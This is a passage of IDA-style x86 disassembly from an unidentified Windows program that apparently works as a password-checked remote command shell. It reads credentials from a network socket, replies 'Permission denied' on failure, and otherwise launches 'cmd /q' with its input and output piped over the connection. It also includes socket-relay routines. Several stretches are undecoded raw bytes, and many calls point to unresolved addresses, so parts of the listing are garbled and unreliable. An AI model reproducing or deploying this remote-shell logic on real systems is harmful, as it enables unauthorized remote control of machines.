		push	dword ptr [ebp-24h]
		call	dword_4CBAB0
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_4351E4
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B3BA
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43E964[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_410F3C
		push	esi
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h
		dd 226F57Ah, 69C44D8Bh,	234C9h,	89C63B00h, 43E97481h, 39137400h
		dd 850FD075h, 0FFFFFF63h, 0E890326Ah, 226F4E7h,	8BE8EDEBh
		dd 900226FFh, 51A86850h, 99E80043h, 5900004Eh
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------


loc_410F17:				; CODE XREF: ___:00410E0Ej
					; ___:00410E42j ...
		mov	edi, [ebp+8]


loc_410F1A:				; CODE XREF: ___:00410F15j
		push	edi
		call	dword_4CBABC
		push	dword ptr [ebp+8]
		call	dword_4CBABC
		push	dword ptr [ebp-40h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi


loc_410F3C:				; DATA XREF: ___:00410ECFo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CBAA4
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4110F2
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CBA24
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CBA64
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_410FCC
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CBAA8
		jmp	short loc_410FDA
; ---------------------------------------------------------------------------


loc_410FCC:				; CODE XREF: ___:00410FBBj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CB9DC


loc_410FDA:				; CODE XREF: ___:00410FCAj
		cmp	eax, edi
		jz	loc_4110F2
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CB9CC
		cmp	eax, 0FFFFFFFFh
		jz	loc_4110F2
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CBAB0
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_43526C
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B3BA
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43E96C[ebx]
		mov	dword_43E964[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43E970[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_411123
		push	edi
		push	edi
		nop
		call	near ptr 2680456h
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E974[ecx], eax
		jz	short loc_4110DF


loc_41108C:				; CODE XREF: ___:00411099j
		cmp	[ebp-20h], edi
		jnz	short loc_41109B
		push	32h
		nop
		call	near ptr 26803E7h
		jmp	short loc_41108C
; ---------------------------------------------------------------------------


loc_41109B:				; CODE XREF: ___:0041108Fj
		mov	ebx, 1000h


loc_4110A0:				; CODE XREF: ___:004110DBj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CBA3C
		cmp	eax, edi
		jle	short loc_4110F2
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA74
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4110A0
		jmp	short loc_4110F2
; ---------------------------------------------------------------------------


loc_4110DF:				; CODE XREF: ___:0041108Aj
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset unk_43522C
		call	sub_415DAC
		pop	ecx
		pop	ecx


loc_4110F2:				; CODE XREF: ___:00410F80j
					; ___:00410FDCj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43E96C[eax]
		call	dword_4CBABC
		push	dword ptr [ebp+8]
		call	dword_4CBABC
		push	dword ptr [ebp-4]
		call	sub_40B6D6
		pop	ecx
		push	edi
		call	near ptr 26E0000h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_411123:				; DATA XREF: ___:0041106Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_41115A:				; CODE XREF: ___:0041119Fj
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43E970[esi]
		call	dword_4CBA3C
		test	eax, eax
		jle	short loc_4111A1
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43E96C[esi]
		call	dword_4CBA74
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41115A


loc_4111A1:				; CODE XREF: ___:00411184j
		push	dword_43E970[esi]
		call	dword_4CBABC
		push	dword ptr [ebp-14h]
		call	sub_40B6D6
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 42h, 0EEh
; ---------------------------------------------------------------------------
		sub	al, 2
		pop	edi
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43E96C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CBA0C
		test	eax, eax
		jnz	short loc_411244
		push	dword ptr [esi]
		call	dword_4CBABC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 26E0000h


loc_411244:				; CODE XREF: ___:0041122Aj
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CBA3C
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CB978
		test	eax, eax
		jz	short loc_4112BD
		call	dword_4CB9B8
		push	eax
		push	offset unk_435344
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 0Ch
		push	edi
		call	near ptr 26E0000h
		nop


loc_4112BD:				; CODE XREF: ___:00411298j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CB9DC
		cmp	eax, edi
		jnz	short loc_4112E7
		push	dword ptr [ebp-18h]
		call	dword_4CBAB0
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C266
		jmp	short loc_4112F5
; ---------------------------------------------------------------------------


loc_4112E7:				; CODE XREF: ___:004112CDj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C890


loc_4112F5:				; CODE XREF: ___:004112E5j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43DBD8
		push	dword ptr [esi]
		call	dword_4CBA74
		cmp	dword_4CE77C, edi
		jnz	short loc_411357
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_41141F
		add	esp, 10h
		test	eax, eax
		jnz	short loc_411357
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CBA74
		push	dword ptr [esi]
		call	dword_4CBABC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	edi
		call	near ptr 26E0000h
		nop


loc_411357:				; CODE XREF: ___:0041130Cj
					; ___:0041132Dj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_435308
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_4116D6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41139E
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset unk_4352DC
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 0Ch
		push	ebx
		call	near ptr 26E0000h
		nop


loc_41139E:				; CODE XREF: ___:00411379j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4352B0
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26E0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4113C5	proc near		; CODE XREF: ___:0041125Ap
					; ___:00411267p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA3C
		cmp	eax, 1
		jnz	short loc_411415
		mov	esi, [ebp+arg_4]


loc_4113E3:				; CODE XREF: sub_4113C5+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_41140A
		test	al, al
		jz	short loc_411419
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA3C
		cmp	eax, 1
		jz	short loc_4113E3
		jmp	short loc_411415
; ---------------------------------------------------------------------------


loc_41140A:				; CODE XREF: sub_4113C5+27j
		push	offset unk_435370
		call	sub_415DAC
		pop	ecx


loc_411415:				; CODE XREF: sub_4113C5+19j
					; sub_4113C5+43j
		xor	eax, eax
		jmp	short loc_41141C
; ---------------------------------------------------------------------------


loc_411419:				; CODE XREF: sub_4113C5+2Bj
		push	1
		pop	eax


loc_41141C:				; CODE XREF: sub_4113C5+52j
		pop	esi
		leave
		retn
sub_4113C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41141F	proc near		; CODE XREF: ___:00411323p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41144A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_43539C
		call	sub_415DAC
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41144A:				; CODE XREF: sub_41141F+11j
		push	1
		pop	eax
		retn
sub_41141F	endp

; ---------------------------------------------------------------------------
word_41144E	dw 8B55h		; DATA XREF: sub_401ACD+237Ao
		dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah,	0ECBD8DF0h
		dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
		dd 2026850h, 15FF0000h,	4CB994h, 0C63BF633h, 68501D74h
		dd 43550Ch, 4917E8h, 0B475FF00h, 0FFA239E8h, 0CC483FFh
		dd 59E89057h, 57022CEBh, 4116CC68h, 0F724E800h,	85900238h
		dd 902975C0h, 26F9D5E8h, 0C8685002h, 0E8004354h, 48E4h
		dd 15FF5959h, 4CB97Ch, 0E8B475FFh, 0FFFFA1FEh, 0E8905759h
		dd 22CEB20h, 8D106A53h,	5056E045h, 0AA83E8h, 0CC48300h
		dd 0E045C766h, 75FF0002h, 2415FFB0h, 6A004CBAh,	26A5706h
		dd 0E2458966h, 0FFE47589h, 4CBAA415h, 83D88B00h, 840FFFFBh
		dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E96C98h, 0E0458D00h
		dd 15FF5350h, 4CBA50h, 850FC085h, 117h,	0FFFFFF68h, 15FF537Fh
		dd 4CBA4Ch, 850FC085h, 103h, 43548C68h,	0F045C700h, 0Ch
		dd 89F47589h, 0CDE8F875h, 59000047h, 8D087D89h,	45C7FC45h
		dd 10FCh, 458D5000h, 0FF5350CCh, 4CBAB815h, 83F88B00h
		dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h
		dd 4CBA0415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h
		dd 0D075FF50h, 0BAB015FFh, 8D50004Ch, 0FFFBEC85h, 544868FFh
		dd 0E8500043h, 0AC96h, 0FBEC858Dh, 0E850FFFFh, 475Ch, 0EC858D57h
		dd 6AFFFFFBh, 0CFE85009h, 89FFFF9Dh, 0C069B845h, 234h
		dd 83B44D8Bh, 888924C4h, 43E964h, 50DC458Dh, 0FDEC858Dh
		dd 5056FFFFh, 4111C068h, 0F0458D00h, 0E8905056h, 226EE3Ah
		dd 69B84D8Bh, 234C9h, 89C63B00h, 43E97481h, 39137400h
		dd 850FC875h, 0FFFFFF37h, 0A8E8326Ah, 900226EDh, 0E890EDEBh
		dd 226F84Ah, 540C6850h,	59E80043h, 59000047h, 8B03EB59h
		dd 15FF087Dh, 4CB9B8h, 0EC858D50h, 68FFFFFBh, 4353D4h
		dd 0ABF4E850h, 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h
		dd 0C075FFFFh, 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0D2E8FFFFh
		dd 83FFFF81h, 858D14C4h, 0FFFFFBECh, 4692E850h,	57590000h
		dd 0BABC15FFh, 0FF53004Ch, 4CBABC15h, 7C15FF00h, 0FF004CB9h
		dd 13E8B475h, 59FFFFA0h, 35E89056h, 5B022CE9h, 4439C033h
		dd 940F0424h
		db 0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4116D6	proc near		; CODE XREF: ___:0041136Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_411827
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43E96C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_427084
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4119F9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_411741
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset unk_43556C
		call	sub_415DAC
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_41177B
; ---------------------------------------------------------------------------


loc_411741:				; CODE XREF: sub_4116D6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_411AAB
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_411782
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset unk_43556C
		call	sub_415DAC
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 26A0000h


loc_41177B:				; CODE XREF: sub_4116D6+69j
		xor	eax, eax
		jmp	loc_411822
; ---------------------------------------------------------------------------


loc_411782:				; CODE XREF: sub_4116D6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 27A0EB8h
		sub	eax, ebx
		jz	short loc_4117DC
		dec	eax
		jz	short loc_4117D6
		dec	eax
		jz	short loc_4117C2
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset unk_435538
		call	sub_415DAC
		pop	ecx
		pop	ecx
		jmp	short loc_4117F1
; ---------------------------------------------------------------------------


loc_4117C2:				; CODE XREF: sub_4116D6+D5j
		mov	edi, dword_4270B4
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_4117F1
; ---------------------------------------------------------------------------


loc_4117D6:				; CODE XREF: sub_4116D6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4117E0
; ---------------------------------------------------------------------------


loc_4117DC:				; CODE XREF: sub_4116D6+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_4117E0:				; CODE XREF: sub_4116D6+104j
		call	near ptr 26A0000h
		nop
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 2720A1Ah


loc_4117F1:				; CODE XREF: sub_4116D6+EAj
					; sub_4116D6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427070
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CBABC
		push	esi
		call	sub_41BA91
		pop	ecx
		push	1
		pop	eax


loc_411822:				; CODE XREF: sub_4116D6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4116D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411827	proc near		; CODE XREF: sub_4116D6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_411911
		mov	ebx, dword_427108
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427070
		test	eax, eax
		jnz	short loc_41188A
		call	near ptr 2680E92h
		nop
		push	eax
		push	offset unk_43561C
		jmp	short loc_4118AA
; ---------------------------------------------------------------------------


loc_41188A:				; CODE XREF: sub_411827+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_4118B2
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset unk_4355DC


loc_4118AA:				; CODE XREF: sub_411827+61j
		call	sub_415DAC
		pop	ecx
		jmp	short loc_4118E0
; ---------------------------------------------------------------------------


loc_4118B2:				; CODE XREF: sub_411827+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_411920
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_411915
		push	offset unk_4355B4
		call	sub_415D38


loc_4118E0:				; CODE XREF: sub_411827+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4118EC
		push	[ebp+var_4]
		call	edi


loc_4118EC:				; CODE XREF: sub_411827+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4118F7
		push	[ebp+var_8]
		call	edi


loc_4118F7:				; CODE XREF: sub_411827+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_411900
		push	eax
		call	edi


loc_411900:				; CODE XREF: sub_411827+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41190A
		push	eax
		call	edi


loc_41190A:				; CODE XREF: sub_411827+DEj
		push	esi
		call	sub_41BA91
		pop	ecx


loc_411911:				; CODE XREF: sub_411827+1Dj
		xor	eax, eax
		jmp	short loc_41191B
; ---------------------------------------------------------------------------


loc_411915:				; CODE XREF: sub_411827+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_41191B:				; CODE XREF: sub_411827+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411827	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411920	proc near		; CODE XREF: sub_411827+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41BF70
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_427104
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 2730000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 2670000h
		test	eax, eax
		jz	short loc_4119DC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43E968[eax], ecx
		nop
		call	near ptr 2660C52h
		jmp	short loc_4119F2
; ---------------------------------------------------------------------------


loc_4119DC:				; CODE XREF: sub_411920+9Aj
		nop
		call	near ptr 2680E92h
		push	eax
		push	offset unk_43565C
		call	sub_415DAC
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_4119F2:				; CODE XREF: sub_411920+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411920	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4119F9	proc near		; DATA XREF: sub_4116D6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270EC
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411A22:				; CODE XREF: sub_4119F9+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411A8A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_411A5D


loc_411A33:				; CODE XREF: sub_4119F9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_411A4D
		cmp	dl, 0Dh
		jz	short loc_411A4D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_411A4D:				; CODE XREF: sub_4119F9+44j
					; sub_4119F9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411A33


loc_411A5D:				; CODE XREF: sub_4119F9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA74
		test	eax, eax
		jle	short loc_411A8A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411A22
; ---------------------------------------------------------------------------


loc_411A8A:				; CODE XREF: sub_4119F9+2Dj
					; sub_4119F9+79j
		mov	esi, dword_427094
		call	esi
		cmp	eax, 6Dh
		jz	short loc_411AA6
		call	esi
		push	eax
		push	offset dword_43569C
		call	sub_415DAC
		pop	ecx
		pop	ecx


loc_411AA6:				; CODE XREF: sub_4119F9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4119F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411AAB	proc near		; DATA XREF: sub_4116D6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_411AC4:				; CODE XREF: sub_411AAB+39j
					; sub_411AAB+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA3C
		test	eax, eax
		jle	loc_411BC9
		cmp	[ebp+var_10], ebx
		jbe	short loc_411AE6
		dec	[ebp+var_10]
		jmp	short loc_411AC4
; ---------------------------------------------------------------------------


loc_411AE6:				; CODE XREF: sub_411AAB+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_411BA9
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411B56
		cmp	al, 7Fh
		jz	short loc_411B56
		cmp	al, 3
		jnz	short loc_411B11
		push	ebx
		push	ebx
		nop
		call	near ptr 27B0000h
		jmp	short loc_411B7D
; ---------------------------------------------------------------------------


loc_411B11:				; CODE XREF: sub_411AAB+5Aj
		cmp	al, 15h
		jnz	short loc_411B33
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411B69
; ---------------------------------------------------------------------------


